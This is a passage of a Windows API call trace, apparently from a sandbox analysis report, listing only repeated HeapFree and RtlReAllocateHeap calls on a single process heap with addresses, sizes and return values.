	[0170.249] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0170.249] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44effe8 | out: hHeap=0x610000) returned 1
	[0170.251] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44defd0 | out: hHeap=0x610000) returned 1
	[0170.258] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.261] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.265] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.265] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b920 | out: hHeap=0x610000) returned 1
	[0170.270] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b920 | out: hHeap=0x610000) returned 1
	[0170.273] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b920 | out: hHeap=0x610000) returned 1
	[0170.280] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b920 | out: hHeap=0x610000) returned 1
	[0170.527] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x446b940, Size=0x10000) returned 0x44fff20
	[0171.239] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44fff20, Size=0x20000) returned 0x44aafb0
	[0171.550] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44aafb0, Size=0x40000) returned 0x44aafb0
	[0171.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b920 | out: hHeap=0x610000) returned 1
	[0171.557] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0171.669] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0171.671] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0171.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0171.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0171.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0171.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0171.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0171.705] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0172.046] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0172.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0172.063] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0172.064] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0172.065] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0172.066] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0172.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0172.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.582] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.584] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.585] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.587] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.588] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.590] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.591] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.593] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.860] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.865] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.868] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.872] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.878] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.887] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.977] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.980] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0172.984] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.488] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.577] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.580] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.585] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.589] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.592] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.596] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.599] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.602] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.606] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.610] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0173.614] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.000] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.311] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.313] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.314] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.316] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.318] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.319] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0174.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0174.328] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.378] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.380] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.382] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.383] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.385] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.386] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.388] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.391] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44aafb0, Size=0x80000) returned 0x512f020
	[0174.397] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.455] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.459] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.462] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.464] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.465] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.467] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.469] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.471] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.562] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.564] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.566] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.568] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.570] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.638] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.650] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.653] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.656] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.658] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.661] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0174.835] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.845] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.847] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.849] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.851] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.851] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.853] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.954] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.965] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.971] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.976] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.982] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.987] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.215] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.220] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.222] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.225] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.228] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.230] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.232] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.234] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.238] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.299] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.304] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.309] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.314] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.317] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.324] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.325] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.326] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.327] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.328] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.328] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.329] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.331] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.331] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.332] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.332] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.333] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.334] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.336] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.337] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.337] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.338] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.387] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.442] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.451] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.466] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.471] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.633] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x512f020, Size=0x100000) returned 0x51c1020
	[0175.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.654] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.763] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.770] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.770] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.773] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.773] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.773] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.790] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.790] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.885] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
